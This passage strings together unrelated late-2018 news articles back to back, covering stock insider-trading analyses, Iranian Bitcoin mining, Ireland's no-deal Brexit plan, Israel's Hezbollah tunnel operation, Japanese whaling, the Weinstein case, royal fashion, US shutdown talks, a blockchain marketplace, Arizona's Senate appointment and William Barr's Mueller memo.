the shares are a bargain. Insider Ownership of Guyana Goldfields For a common shareholder, it is worth checking how many shares are held by company insiders. I reckon its a good sign if insiders own a significant number of shares in the company. Guyana Goldfields insiders own 3.4% of the company, currently worth about CA$8.1m based on the recent share price. Most shareholders would be happy to see this sort of insider ownership, since it suggests that management incentives are well aligned with other shareholders. What Might The Insider Transactions At Guyana Goldfields Tell Us? An insider hasnt bought Guyana Goldfields stock in the last three months, but there was some selling. Zooming out, the longer term picture doesnt give us much comfort. But it is good to see that Guyana Goldfields is growing earnings. When you combine this with the relatively low insider ownership, we are very cautious about the stock. Wed certainly think twice before buying! If you are like me, you may want to think about whether this company will grow or shrink. Luckily, you can check this free report showing analyst forecasts for its future. Of course Guyana Goldfields may not be the best stock to buy. So you may wish to see this free collection of high quality companies. To help readers see past the short term volatility of the financial market, we aim to bring you a long-term focused research analysis purely driven by fundamental data. Note that our analysis does not factor in the latest price-sensitive company announcements. The author is an independent contributor and at the time of publication had no position in the stocks mentioned. For errors that warrant correction please contact the editor at editorial-team@simplywallst.com. Iran is in the middle of a bit of an economic crisis right now. Due to hiccups caused by the sanctions that were imposed by the United States government a while back, the government of Iran has had its hands full with merely keeping its economy afloat. Due to this, it would appear that the citizens are taking matters into their own hands. Having started using cryptocurrency for transactions with the rest of the world, they have now turned to Bitcoin mining as a means of making ends meet, according to a report on the Atlantic Council. The U.S. imposed sanctions affected the Iranian economy in more ways than one. Perhaps the biggest negative that came out among other effects of the sanctions saw Iran-based commercial banks kicked out of the Society for Worldwide Interbank Financial Telecommunication (SWIFT) network. A direct implication of this move is the exclusion of the Iranian Central Bank from the rest the world, making it impossible for retail banks to process transactions or conduct any form of business with financial institutions in other countries. Since the sanctions were imposed, Iranians abroad have been somewhat stranded. As a means of ensuring that they are still able to transact and earn a living, a lot of Iranians have turned to cryptocurrency mining. The sustainability of this new strategy has also been called into question, considering the dire state of the crypto market right now. The bear market has affected crypto markets all over the world, with the slump in prices making it less profitable to mine cryptos. Energy Subsidies Credited for Profitable Iranian Mining Despite the bear market, Iranians have found a way to mine digital assets and make some income out of it. A perfect example is the story of Ali Hosseini and Pedram Ghesemi. The cousins bought an Antminer S9, a crypto mining rig, for $526 some months back, at a time when Bitcoin went for $6,500. This month saw the price crash to as low as $3,200, but it has recovered a bit to $3,758.58, at press time. Story continues The cousins claim that they pay very low for electricity in Iran to power their crypto mining, so they are still able to stay afloat. This is thanks to the large subsidies for energy in Iran; a fact that has directly been responsible for a massive influx of crypto miners to Iran. Despite the absence of any form of a regulatory framework, cryptocurrency mining remains legal in Iran. Following the enforcement of the U.S. sanctions, finding outside liquidity for crypto trading could become difficult for Iranian investors, as large crypto exchange Binance warned Iranian investors to withdraw their funds from the platform, as it seeks to comply with the sanctions from Washington. The post Iranians Turn to Bitcoin Mining to Cushion the Effects of U.S. Sanctions appeared first on CCN. Irish foreign affairs minister Simon Coveney Pic: Reuters The Irish government on Wednesday night published its expansive no-deal Brexit contingency plan, warning that such a highly disruptive scenario would have profound political, economic and legal implications for the country. Speaking in Dublin following the publication of the document, Irish foreign affairs minister Simon Coveney said that it made for a sobering read. This is a damage-limitation exercise, he said. The document makes scant mention of the issue that has vexed Brexit negotiations that of how to avoid a hard border in Northern Ireland and simply notes that the countrys commitment to preventing the re-emergence of a hard border on the island of Ireland remains of the highest priority. However, Coveney noted that, though it would be very, very difficult to prevent a hard border in the event of a no-deal Brexit, preparations were not being made for the return of a border. Meanwhile, the shift to preparing for a no-deal Brexit, the 131-page document cautions, will require an acceleration of certain types of planning. For one thing, additional land would have to be acquired at Dublin Port to facilitate the extra checks that would become necessary if the UK must be treated as a third country when it leaves the European Union in March 2019. READ MORE: What is a no-deal Brexit? Irelands tax authority will have an additional 200 new employees trained and in place by the end of March, with 4m (3.6m) in total set aside for the recruitment of staff to handle a sudden increase in import and export controls. Of particular concern is what the Irish government calls the landbridge or the route that many Irish goods take to continental Europe, which sees them travel via the UKs road and ports network. This route, it says, may be subject to severe delays in the event of a no-deal Brexit, with the Dover-Calais crossing identified as a particular bottle neck. The document also welcomes EU proposals to grant UK hauliers access to the EU on a reciprocal basis, considering previous fears that a no-deal scenario could see road haulage between the EU and UK severely restricted. Story continues READ MORE: As Brexit looms, Ireland is taking the lead on preparing its businesses Meanwhile, a no-deal Brexit could also cause a bottleneck in Irelands parliament. Considering that some 45 changes would need to be made to the countrys laws, the document warns that it will probably be necessary to use all of the available time in parliament to pass emergency legislation. It also points to a range of supports that the country has put in place for businesses that are likely to be adversely affected by the UKs departure from the bloc, noting that over 2,500 people and businesses had already attended Getting Ireland Brexit Ready events. It is not the outcome we want and our focus continues to be on securing ratification of the Withdrawal Agreement. Nevertheless, it is prudent at this stage to accelerate preparations for a no deal Brexit, the document says. Minister Pandit in Delhi to study Indian model of federalism Minister for Federal Affairs and General Administration Lal Babu Pandit has arrived in New Delhi seeking formula for managing civil servants in a federal structure. Jerusalem (AFP) - The Israeli army on Thursday night began destroying cross-border tunnels dug by Hezbollah, it said, more than two weeks after announcing their discovery on the frontier with Lebanon. "The neutralisation and destruction phase of the cross-border attack tunnels... has begun," the army said in a statement. Since launching an operation to cut off the tunnels on December 4, the army says it has located four underground passageways infiltrating Israeli territory. It issued a warning to Hezbollah, the Lebanese Shiite militant group with which Israel fought a devastating war in 2006. "The IDF (Israel Defense Forces) continues to operate... with reinforced troops, and is prepared with a wide variety of enhanced capabilities for any developments, should they occur," the army said. Israel alleges Hezbollah had planned to use the tunnels to kidnap or kill its civilians or soldiers, and to seize a slice of Israeli territory in the event of any hostilities. The army said it would "continue to operate to neutralise Hezbollah's military infrastructure and to thwart" its any threats against Israel and its civilians. A month-long war in 2006 between Israel and Hezbollah killed more than 1,200 Lebanese, mostly civilians, and more than 160 Israelis, mostly soldiers. The Israeli army said the operation to locate and destroy the tunnels was defensive, and that it would involve different techniques. "This phase will... ensure that the attack tunnels cannot be used by the Hezbollah terror organisation and will prevent it from implementing its plans," said the statement. The army advised Israeli authorities and UNIFIL, the United Nations peacekeeping mission in Lebanon, to notify its Lebanese counterpart to take measures to protect civilians across the border. It said it held the Lebanese government "accountable for digging the attack tunnels". "The IDF warns against approaching the openings of the tunnels or staying close to them on the Lebanese side," said the statement. By Dan Williams JERUSALEM (Reuters) - Israel will escalate its fight against Iranian-aligned forces in Syria after the withdrawal of U.S. troops from the country, Israeli Prime Minister Benjamin Netanyahu said on Thursday. Some Israeli officials have said U.S. President Donald Trump's move, announced on Wednesday, could help Iran by removing a U.S. garrison that stems the movement of Iranian forces and weaponry into Syria from Iraq. Israel also worries that its main ally's exit could reduce its diplomatic leverage with Russia, the Syrian government's big-power backer. "We will continue to act very aggressively against Iran's efforts to entrench in Syria," Netanyahu said in televised remarks, referring to an Israeli air campaign in Syria against Iranian deployments and arms transfers to Lebanese Hezbollah guerrillas, carried out with Moscow often turning a blind eye. "We do not intend to reduce our efforts. We will intensify them, and I know that we do so with the full support and backing of the United States." Trump cited what he described as victory over Islamic State militants in Syria as warranting the U.S. withdrawal. Israel has long tried to persuade Washington that Iran and its Shi'ite Muslim militias, sent to reinforce Damascus, pose the greater threat. "Daesh (Islamic State) has indeed been defeated in Syria, and this is greatly thanks to America," Israeli Education Minister Naftali Bennett, a member of Netanyahu's security cabinet, said in a statement to Reuters. "But Iran are already moving in, and they are a threat to the whole free world." Another security cabinet member, Finance Minister Moshe Kahlon, told Israel's Army Radio: "Of course the American decision is not good for us. But we know that safeguarding Israel's security is also an American interest in the region." (Writing by Dan Williams; Editing by Mark Heinrich) Japan is considering pulling out of the International Whaling Commission (IWC), officials told AFP on Thursday, as Tokyo reportedly gears up to resume commercial whaling activity next year. Such a move would spark international criticism against Japan over whale conservation and deepen the divide between anti- and pro-whaling countries. "We are considering all options" including the possibility of withdrawal from the 89-member IWC, Fisheries Agency official Yuki Morita told AFP. Another official at the foreign ministry confirmed "all options are on the table but nothing formal has been decided yet". Both stressed Tokyo has not yet changed its whaling policy but Japan threatened to pull out of the IWC in September when the commission rejected its bid to return to commercial whaling. Citing unnamed government sources, local news agency Kyodo said a formal decision to withdraw from the IWC would come by the end of the year. After a tense September vote in Brazil, the IWC rejected Japan's bid to return to commercial whaling, prompting vice-minister for fisheries Masaaki Taniai to say Tokyo would be "pressed to undertake a fundamental reassessment of its position as a member of the IWC". Anti-whaling nations -- led by Australia, the European Union and the United States -- defeated Japan's "Way Forward" proposal in a 41-to-27 vote. Following the ballot, Japan's IWC commissioner Joji Morishita said differences with anti-whaling nations were "very clear" and Japan would now plan its "next steps". The IWC was established in 1946 to conserve and manage the world's whale and cetacean population. It introduced a moratorium on commercial whaling in 1986 after some species had been fished to near extinction. Japan insists whale stocks have now recovered sufficiently to allow commercial hunting to resume. Tokyo currently observes the moratorium but exploits a loophole to kill hundreds of whales every year for "scientific purposes" as well as to sell the meat. Story continues According to Kyodo News, the country is unlikely to catch whales in the Antarctic Ocean even if it did withdraw from the IWC, as it is eyeing commercial whaling only in seas near Japan and its exclusive economic zone. Iceland, along with Norway, openly defies the IWC's 1986 ban on commercial whale hunting. Kitty Block, head of the Britain-based Humane Society International, said that if Japan resumed killing whales in the North Pacific, it would be "operating completely outside the bounds of international law" and "pursuing the path of a pirate whaling nation." The group said it fears Japan may "recruit other pro-whaling nations to leave the IWC, leading to a new chapter of widespread and unauthorised killing of whales for profit." New York (AFP) - A US judge ruled on Thursday that the sexual assault case against Harvey Weinstein can go ahead, rejecting a defense motion to dismiss the charges facing the disgraced Hollywood mogul who has become the face of the #MeToo movement. Judge James Burke set the next pre-trial hearing in the criminal case against the 66-year-old Weinstein for March 7. "We are obviously disappointed that the charges were not dismissed today," Weinstein's attorney Ben Brafman told reporters after a brief hearing in Manhattan Criminal Court. Brafman, who had argued that the case should be thrown out because of alleged misconduct by police and prosecutors, said he remained confident that Weinstein will be "completely exonerated" at trial. "This is not about the MeToo movement," added Brafman, one of America's most celebrated defense attorneys. "It's a specific criminal case." Weinstein, who appeared in court wearing a dark suit and blue tie and did not speak to reporters, is facing five counts over an alleged rape in March 2013 and a forced act of oral sex in 2006. The producer of "Pulp Fiction," "Shakespeare in Love" and other hit movies insists that all of his sexual liaisons were consensual and is free on $1 million bail after his arrest in May. Weinstein, a twice-married father of five, could face life in prison if convicted. He has been accused by more than 80 women of sexual misconduct but is only facing charges in connection with accusations by two women. - Time's Up - Burke dismissed one charge against Weinstein earlier this year but he flatly rejected the defense motion on Thursday to toss out the other five counts. "The court finds that there is no basis for the defendant's claim of prosecutorial or law enforcement misconduct in the proceedings," the judge wrote. "The motion to dismiss on these grounds is denied." The torrent of accusations that first surfaced against Weinstein in October last year upended the career of one of Hollywood's most powerful producers, and sparked a major reckoning about harassment in the workplace and the global #MeToo movement. Story continues Around 20 women from the "Time's Up" movement against sexual harassment attended the 20-minute hearing in the packed Manhattan courtroom. "I am here to stand with my sisters and with the survivors," said actress Kathy Najimy, who appeared in the comedy "Sister Act." Time's Up said in a statement it was "relieved that Harvey Weinstein failed in his efforts to avoid accountability for his crimes. "We look forward to seeing justice served and seeing Harvey Weinstein prosecuted to the fullest extent of the law," the group said. While he failed on Thursday to get all charges dismissed, Brafman did manage to get one count thrown out in October -- an accusation by former actress Lucia Evans that Weinstein forced her to engage in an act of oral sex in 2004. Prosecutors opted not to pursue the charge after it emerged that one detective who worked on the investigation had failed to disclose witness testimony that contradicted Evans's account. A friend of Evans said she had heard her say that she had willingly engaged in oral sex with Weinstein to secure a movie role. Brafman alleged that the detective in question, Nicholas DiGaudio, made other mistakes. Bennett Gershman, who teaches law at Pace University, said he believes prosecutors have a solid case with the two remaining accusers, no matter what they may have said to Weinstein after the alleged assaults. "These women saying nice things to Weinstein -- would that surprise anybody? You have a hugely powerful man... who literally controlled their reputation and their careers," Gershman said. "Did they consent or did they consent involuntarily?" he asked. "If these women testify strongly on the witness stand, Weinstein will lose." The Duchess of Cambridge at the Royal Palace in Oslo on February 2, 2018 One of the Duchess of Cambridges most famous looks this year has to be her Alexander McQueen caped gown. She wore the blush pink dress for a dinner held at the Royal Palace in Oslo on day three of the Duke and Duchess of Cambridges royal tour of Sweden and Norway. [Photo: Getty] 2018 was undoubtedly the year of the royal family, as the Windsor clan dominated the global stage with high-profile weddings, christenings and tours plastered across the newsstands. But every public engagement and social media photocall requires a diplomatic outfit in keeping with the formality of the event. Thankfully, its a royal duty Kate and Meghan have effortlessly mastered. Just weeks after Kensington Palace announced the Duke and Duchess of Sussexs engagement, Meghan introduced the world to her covetable sense of style. Whether it was her protocol-breaking Altuzarra dress or that Oscar de la Renta showstopper, the Meghan Effect captured the fashion industry in its persuasive clutches this year and hasnt let go since with every one of her ensembles garnering sell-out status. Meanwhile, the Duchess of Cambridge has continued to reign over the market largely courtesy of her maternity wardrobe which often features surprisingly affordable high street numbers. But this year also gave royals further down the pecking order a chance to step into the sartorial spotlight with Princess Eugenie tying the knot in a Peter Pilotto gown while sister Beatrice made her Met Gala debut. From Queen Elizabeth II to the Duchess of Sussex, these were this years best royal outfits. Which look was your favourite? Follow us on Instagram and Facebook for non-stop inspiration delivered fresh to your feed, every day. For Twitter updates, follow @YahooStyleUK. Read more from Yahoo Style UK: How Meghan Markle is switching up the fashion game Every look the Duchess of Cambridge has worn in 2018 Meghan Markles style file: Every outfit the Duchess of Sussex has worn in public Weve lost count of how many times insiders have accumulated shares in a company that goes on to improve markedly. The flip side of that is that there are more than a few examples of insiders dumping stock prior to a period of weak performance. So shareholders might well want to know whether insiders have been buying or selling shares in Noxopharm Limited (ASX:NOX). What Is Insider Buying? It is perfectly legal for company insiders, including board members, to buy and sell stock in a company. However, rules govern insider transactions, and certain disclosures are required. Insider transactions are not the most important thing when it comes to long-term investing. But logic dictates you should pay some attention to whether insiders are buying or selling shares. For example, a Colombia University study found that insiders are more likely to engage in open market purchases of their own companys stock when the firm is about to reveal new agreements with customers and suppliers. See our latest analysis for Noxopharm Noxopharm Insider Transactions Over The Last Year In the last twelve months, the biggest single sale by an insider was when David Hannon sold AU$91k worth of shares at a price of AU$0.63 per share. So we know that an insider sold shares at around the present share price of AU$0.49. They could have a variety of motivations for selling, but its still not particularly encouraging to see. We generally tread carefully if insiders have been selling on market, even if they sold slightly above the current price. David Hannon was the only individual insider to sell over the last year. You can see a visual depiction of insider transactions over the last 12 months, below. If you want to know exactly who sold, for how much, and when, simply click on the graph below! ASX:NOX Insider Trading December 19th 18 I will like Noxopharm better if I see some big insider buys. While we wait, check out this free list of growing companies with considerable, recent, insider buying. Story continues Insider Ownership of Noxopharm Many investors like to check how much of a company is owned by insiders. I reckon its a good sign if insiders own a significant number of shares in the company. Its great to see that Noxopharm insiders own 36% of the company, worth about AU$21m. Most shareholders would be happy to see this sort of insider ownership, since it suggests that management incentives are well aligned with other shareholders. So What Do The Noxopharm Insider Transactions Indicate? It doesnt really mean much that no insider has traded Noxopharm shares in the last quarter. The insider transactions at Noxopharm are not very heartening. But we do like the fact that insiders own a fair chunk of the company. I like to dive deeper into how a company has performed in the past. You can find historic revenue and earnings in this detailed graph. But note: Noxopharm may not be the best stock to buy. So take a peek at this free list of interesting companies with high ROE and low debt. To help readers see past the short term volatility of the financial market, we aim to bring you a long-term focused research analysis purely driven by fundamental data. Note that our analysis does not factor in the latest price-sensitive company announcements. The author is an independent contributor and at the time of publication had no position in the stocks mentioned. For errors that warrant correction please contact the editor at editorial-team@simplywallst.com. WASHINGTON (AP) The Latest on negotiations over funding President Donald Trump wants for a U.S.-Mexico border wall and the possibility of a partial government shutdown (all times local): 9:10 p.m. President Donald Trump and leaders in Congress appear to be pulling back from a government shutdown over his $5 billion request for border wall funds. White House press secretary Sarah Huckabee Sanders indicates that Trump doesn't want to shut down the government, though just last week he said he'd be "proud" to over the issue of border security. One option circulating on Capitol Hill would be to approve government funding at existing levels and kick the issue into the next Congress. It was a turnaround after days of impasse. Without a resolution, more than 800,000 government workers could be furloughed or sent to work without pay beginning at midnight Friday, disrupting government operations days before Christmas. ___ 3:15 p.m. Senate Democrats say President Donald Trump isn't paying for his border wall from other parts of the government's budget because doing so would require approval from Congress. Senate Democratic leader Chuck Schumer rejected White House spokeswoman Sarah Huckabee Sanders' suggestion Tuesday that there are ways to pay for the wall using federal money allocated to other things. Schumer said to do so, "They'd need congressional approval, and they're not getting it for the wall." The statement was the latest volley in the standoff over passing a funding bill. Trump, who vowed to make Mexico pay for the wall along the border, is insisting that any budget plan include U.S. funding. Democrats are refusing. If the standoff is not resolved, parts of the government will shut down at midnight Friday. ___ 3 p.m. Senate Majority Leader Mitch McConnell says he's confident that there will not be a partial government shutdown, but discussions are continuing. President Donald Trump and Democratic lawmakers are in a standoff over funding the government, and the main sticking point is Trump's demand for $5 billion in taxpayer dollars for a wall along the U.S.-Mexico border. McConnell proposed $1.6 billion for border security plus another $1 billion in flexible funding. Senate Democratic leader Chuck Schumer rejected the proposal, saying Democrats would not accept a billion-dollar "slush fund." Story continues McConnell says he's "in consultation" with the White House about the path forward. He added that the administration is "extremely flexible on this issue." Asked if he's confident that the government will not shut down, McConnell said, "Yeah, I am." ___ 2:40 p.m. The White House says it's waiting to see what the Senate can pass to prevent a partial government shutdown. Press Secretary Sarah Huckabee Sanders said the Senate has "thrown out a number of ideas." She said that when something passes, the White House will evaluate it. Sanders says: "We want to know what can pass." Sanders says President Donald Trump has asked every Cabinet secretary to look for funding that could be used for border security. Congressional leaders have been negotiating since the White House indicated earlier in the day that Trump does not want a federal government shutdown over his demand for $5 billion for the border wall with Mexico. ___ 2:10 p.m. Democratic leaders are spurning a proposal by the top Senate Republican to avert a partial government shutdown over President Donald Trump's demand for $5 billion for a border wall with Mexico. Senate Majority Leader Mitch McConnell proposed $1.6 billion for border security, as outlined in a bipartisan Senate bill, plus another $1 billion Trump could use on the border, according to a Democratic aide unauthorized to speak publicly about the private meeting. Senate Democratic leader Chuck Schumer called McConnell Tuesday and rejected the proposal, saying Democrats would not accept a billion-dollar "slush fund." House Democratic leader Nancy Pelosi also snubbed the proposal: "Right now what they've offered we have not accepted." The White said Tuesday that Trump might accept the Senate bill if other money was also available. Lisa Mascaro ___ 12:55 p.m. Senate leaders are negotiating to avert a federal shutdown over President Donald Trump's demand for $5 billion for the border wall with Mexico. In talks Tuesday, Senate Majority Leader Mitch McConnell proposed $1.6 billion for border security, as outlined in a bipartisan Senate bill, plus an additional $1 billion that Trump could use on the border, according to a senior Democratic aide unauthorized to speak publicly about the private meeting. Democrats are likely to reject that, the aide said, and characterized the additional money as a "slush fund." Democratic leaders Chuck Schumer and Nancy Pelosi have proposed $1.3 billion. That money would not be for a wall, but for border fencing. Earlier Tuesday, the White House indicated Trump may be willing to accept the Senate bill, if other money was also available. Lisa Mascaro ___ 11 a.m. White House press secretary Sarah Huckabee Sanders says the White House is willing to work with Congress to avert a partial government shutdown. President Donald Trump has been demanding $5 billion to fund his long-promised U.S.-Mexico border wall, but Democrats have balked at giving him any more than $1.6 billion for border security. A shutdown could happen at midnight Friday. Sanders said on Fox News on Tuesday there are "other ways that we can get to that $5 billion," including one bill she says would provide $26 billion in border security, including $1.6 billion for the wall. She says, "That's something that we would be able to support" as long as it's coupled with other funding, such as using defense money on border security. She adds that, "At the end of the day, we don't want to shut down the government. We want to shut down the border from illegal immigration." A blockchain-based online marketplace built on the Ethereum protocol is set to be launched by ecommerce firm Qoo10 on January 1, 2019, Tech in Asia reports. Known as QuuBe, the blockchain-based marketplace comes with a cryptocurrency of its own dubbed the Q*coin. Currently, Q*coins, which are the only accepted means of payment on QuuBe for shoppers, can be purchased in 7-Eleven stores. Qoo10 does not expect to allow other cryptocurrencies to be used on QuuBe due to their volatility. Per the CEO of Qoo10, Ku Young Bae, the platform offers customers better terms since it has removed the 10% merchant fee as well as the payment gateway fees which are charged by traditional marketplaces. Part of the reason for this is that blockchain technology has helped reduce administrative costs as the verification of transactions between merchants and shoppers on the marketplace is done using smart contracts. No Merchant or Payment Gateway Fees; Just Pay for Advertising Qoo10s revenue model will be primarily advertising for which it will charge merchants a certain fee for ad space on the platforms app and website. According to Ku, the decentralized regulation offered by blockchain technology could assist unbanked communities to participate in economic activities without having to join a financial institution: You usually [put your] money in the bank; you wouldnt put money into a private companys [mobile wallet]. The company could go bankrupt, they could just change the data, or [money] can be stolen. Unless trust is built, you cant be very sure that top-ups into the wallet can be the same. Those hurdles are sorted out by blockchain because the blockchain wallet is not something that we can change and access. Only you can access it. Means of Payment Qoo10 which is targeting to reach a gross merchandising volume of US$1 billion in two years is banking on ensuring that its token does not experience the same volatility associated with cryptocurrencies such as bitcoin in order to make it suitable for transactions. At the moment, one Q*coin is being sold at one US dollar and the ecommerce firm intends to revise the value upwards after every one million tokens are sold in order to allow for appreciation. Story continues To get more users on QuuBe, the ecommerce firm intends to roll out a marketing campaign that will involve offering incentives. This will include giving away Q*coins worth over US$100,000. At the moment, Qoo10 boasts of 6 million daily active users who are mostly in Hong Kong, China, Malaysia and Indonesia. Currently, there are about 400,000 products listed on its platform. While the developers of QuuBes blockchain network are based in South Korea, the employees handling operations, sales and marketing are located in Singapore. The post Leading Asian Online Retailer Qoo10 to Launch Merchant Fee-free Blockchain-Powered Ecommerce Platform appeared first on CCN. Panel to explore measures to check swelling imports With the swelling current account deficit eating into countrys foreign exchange reserves, the government is exploring measures, including quantitative import restriction on some items, to curb the ever-increasing imports. Why are so many people religious? (Getty) Only 16% of people worldwide are not religious, with just 1.2 billion out of 7.7 billion people not believing in a god, or gods. So why is religious faith so common in human society (now and throughout history)? The answer could lie in the cognitive abilities of the human brain, says Nick Perham, Senior Lecturer in Psychology, Cardiff Metropolitan University, writing for The Conversation. Our ability to form attachments to things that we cant see known as cognitive decoupling forms during childhood in pretend play, Perham says. MORE: Shocking CCTV shows panicked dog owner carrying pets after leaving them to die in roasting car MORE: Putting lives in jeopardy: These are the most ridiculous 999 calls made in 2018 Coupled with the human tendency to see human forms in everything anthropomorphisation its a powerful driver towards religious belief, Perham says. Perham says, This capacity to attribute human forms and behaviours to non-human things shows we also readily endow non-human entities, such as gods, with the same qualities that we possess and, as such, make it easier to connect with them. The association of religion with ritual dancing, singing, and trance-like states also contributes to its power. Perham says, As well as being acts of social unity, even more formal rituals also alter brain chemistry. They increase levels of serotonin, dopamine, and oxytocin in the brain chemicals that make us feel good, want to do things again and provide a closeness to others. Watch the latest videos from Yahoo UK For many politicians, the allure of the Senate is its relatively sane pace. It means one election every six years, rather than the two years for House members or the four years most governors face. Not for Arizonas Martha McSally, who is moving from the House to the Senate next year and continues what will in effect be an almost-five-year campaign. One Republican fundraiser only half-joked that McSallys need for campaign cash would make her a very familiar name on donors call sheets. McSally lost a narrow Senate race in November to Democratic rival Kyrsten Sinema. On Tuesday, Arizona Gov. Doug Ducey appointed McSally to the seat once held by Sen. John McCain, who died in August. (Former Sen. Jon Kyl had been serving the seat on an interim basis.) McSally will fill the Senate seat until 2020, when a special election will be held to decide who serves until the term ends in 2022, when McSally is expected to yet again be on the ballot. Thats three Senate races for McSally in a state that might be one of the trickiest right now in U.S. politics. Arizona blends the American Wests streak of independence and moxie with a long tradition of conservative values. But it stands apart from other Republican-leaning states in that it has less of the anti-immigrant zeal that colors its peers. Its booming economy is powered in large part through newcomers. It was the home base for McCain, a self-styled maverick who twice ran for president, as well as conservative stalwart Barry Goldwater, another White House hopeful whose ideology rebooted the modern GOP. And yet, it is a place where President Donald Trump has deep pockets of support, making McCains objections to Trumps unorthodox approach to the job all the more troublesome for both. All of which make McSallys role going ahead all the more interesting, especially given she will be the 25th female Senator in a chamber of 100. During her campaign, McSally tied herself into a pretzel to trying to shed her Never Trump image from 2016 and repositioning herself as a MAGA warrior for 2018. A spirited primary dragged her rightward and she stayed there, eventually enlisting Trump to hold a campaign rally for her in October. She held McCain and his legacy at arms length, going so far as to avoid using the title of a bill named for him a move that left members of the McCain orbit bristling. (She has since apologized to the McCain clan, Republicans say.) Story continues The embrace of Trump, though, backfired, and state Republicans lost a seat they had held for three decades. On Election Day, about 185,000 voters cast their ballots for Republican Gov. Doug Ducey while also backing Sinema. But McSally, a decorated Air Force combat pilot, is heading to the Senate regardless. She remains a personal favorite of Senate Majority Leader Mitch McConnell, who has his own complicated relationship with this President. McConnell is facing a challenging 2020 map for Republicans to hold their majority, and McSally will once again be a priority for the national GOP. But if 2018 was hard, running again when Trump is on the ballot as well in 2020 could prove even trickier. And should she succeed, she may find the 2022 elections which will be the midterms of either a second Trump term or an as-yet-undetermined Democrat trickier still. Meghans most expensive outfits Take a look back at Meghans most expensive outfits [Photos: Getty] The Duchess of Sussex has brought a whole new dimension to royal style this year, making clear her love of clean lines, neutrals and trouser suits. Meghan, 37, has proved to be a master of diplomatic dressing and introduced us to little-known fashion labels, in addition to representing American and Canadian designers. The mum-to-be was born and raised in the US and spent around six years in Toronto, Canada, while filming Suits. The Duchess also paid tribute to her London, since moving here at the start of the year and has worn pieces from a number of British-based designers, including Stella McCartney, Erdem and Emilia Wickstead as well as accessories from Strathberry, Charlotte Elizabeth and DeMellier. Meghans also cemented her relationship with Givenchys creative director Clare Waight Keller, who created her wedding dress. Meghan turns to Keller for bespoke pieces, particularly for high-profile and important engagements. But, being a former Hollywood actress and a royal does mean that her wardrobe carries a hefty price tag. By all accounts, Meghans 2018 wardrobe has proved to be far more expensive than her stylish sister-in-laws. Thanks to her wedding, royal tour of Australia and a wealth of formal events, the cost of the Duchess ensembles has crept into the thousands. Notable outfits from the year include the newlyweds two bridal gowns and a particularly show-stopping Oscar de la Renta cocktail dress, which she wore in Australia. Take a look at Meghans most expensive outfits shes worn in 2018 in the gallery above. Follow us on Instagram and Facebook for non-stop inspiration delivered fresh to your feed, every day. For Twitter updates, follow @YahooStyleUK. Read more from Yahoo Style UK: From Kate and Meghan to the Queen, the best royal fashion moments of 2018 The royals arrive for the Queens Christmas lunch The Royal Familys Christmas 2018 plans: Meals, presents and traditions WASHINGTON (AP) President Donald Trump's pick for attorney general, William Barr, sent an unsolicited memo to the Justice Department this year criticizing a central prong of the special counsel's Russia investigation, attacking as "fatally misconceived" the idea the president could have obstructed justice. The memo, sent in June while Barr was in private practice and months before he was selected by Trump for the Justice Department job, could factor into his future confirmation hearings before the Senate Judiciary Committee and may prompt questions about his ability to oversee the special counsel's investigation in an open-minded and impartial manner. The document argues there could be disastrous consequences for the Justice Department and the presidency if special counsel Robert Mueller were to conclude that acts a president is legally permitted to take whether firing an FBI director or granting a pardon could constitute obstruction because of a subjective determination that they were done with corrupt intent. "Mueller should not be permitted to demand that the President submit to interrogation about alleged obstruction," Barr wrote. "Apart from whether Mueller (has) a strong enough factual basis for doing so, Mueller's obstruction theory is fatally misconceived." Barr acknowledged that a president can commit obstruction of justice by destroying evidence or tampering with witnesses. But, he said, he is unaware of any accusation like that in the Mueller investigation, and he said it would "do lasting damage to the Presidency and to the administration of law within the Executive branch" if an act like the firing of ex-FBI chief James Comey could amount to obstruction. Some Senate Democrats, including Minority Leader Chuck Schumer, expressed alarm over the memo. The outgoing Republican chairman of the Senate Judiciary Committee, Sen. Chuck Grassley, said he was confident Barr would address questions over it, noting: "It may be a very serious issue, or it may be a less serious issue. Or it may not be an issue at all." Story continues Sen. Lindsey Graham, the incoming committee chairman, said he wasn't bothered by the document though he noted he didn't agree with everything in it. "People can have opinions. They can express them," Graham said. "They can be advocates. It doesn't mean they're disqualified." Mueller and his team of prosecutors have spent the last year and a half investigating not only whether the Trump campaign coordinated with Russia but also whether the president might have obstructed justice by, among other actions, asking Comey to drop an investigation into his national security adviser and firing the FBI director months later. That firing paved the way for Mueller's appointment. In drafting the document, Barr weighed in on contentious legal questions surrounding the scope of the president's executive power. Trump and his lawyers have resisted answering questions related to the obstruction inquiry, saying prosecutors can't second-guess actions the president takes in office. "I know you will agree that, if a DOJ investigation is going to take down a democratically-elected president, it is imperative to the health of our system and to our national cohesion that any claim of wrongdoing is solidly based on evidence of a real crime not a debatable one," Barr wrote. "It is time to travel well-worn paths; not to veer into novel, unsettled or contested areas of the law; and not to indulge the fancies by over-zealous prosecutors," he added. The memo's existence was first reported by The Wall Street Journal. It was sent to Deputy Attorney General Rod Rosenstein, who appointed Mueller, and to Steven Engel, the head of the Justice Department's Office of Legal Counsel, which provides legal advice to executive branch agencies. The document was produced to the Judiciary Committee, which released it along with questionnaire responses that Barr submitted to the panel. Rosenstein downplayed its significance at an unrelated news conference Thursday, defending Barr's record as attorney general he served from 1991 to 1993 under President George H.W. Bush and saying he'll be "outstanding" again if confirmed for the job. "Lots of people offer opinions to the Department of Justice, but they don't influence our own decision making," Rosenstein said. "We have very experienced lawyers and obviously our decisions are informed by our actual knowledge of the facts of the case, which Mr. Barr didn't have." The memo adds to a record of other statements from Barr over the last year or so about the Mueller investigation. Those include comments to a newspaper expressing concern that multiple members of the Mueller team had made political contributions to Democratic political candidates. Acting Attorney General Matthew Whitaker has criticized the investigation in even more pointed ways. A spokesman for Mueller declined to comment. Justice Department spokeswoman Kerri Kupec said Barr's views were based solely on publicly available information and were expressed "on his own initiative." In the memo, Barr says he is writing "as a former official deeply concerned with the institutions of the Presidency and the Department of Justice." He acknowledged he was "in the dark about many facts." Kupec said in a statement: "Following the announcement of Mr. Barr's nomination, senior Department ethics officials were consulted and advised that, under the applicable rules of professional conduct, Mr. Barr's memo would present no conflict as to his duties as Attorney General. Mr. Barr has stated that, if confirmed, he will make any decisions based on the actual facts and circumstances of any particular matter." ____ Associated Press writer Elana Schor in Washington contributed to this report. U.S. District Judge Emmet Sullivan has agreed to delay sentencing former national security adviser Michael Flynn's so Flynn can continue cooperating with the Russia investigation. Flynn got a good deal By Conor Shaw and Jennifer Ahearn U.S. District Court Judge Emmet Sullivan's decision on Tuesday to postpone the sentencing of Michael Flynn, President Donald Trumps former national security adviser, may have been a surprise, but it was not an improper 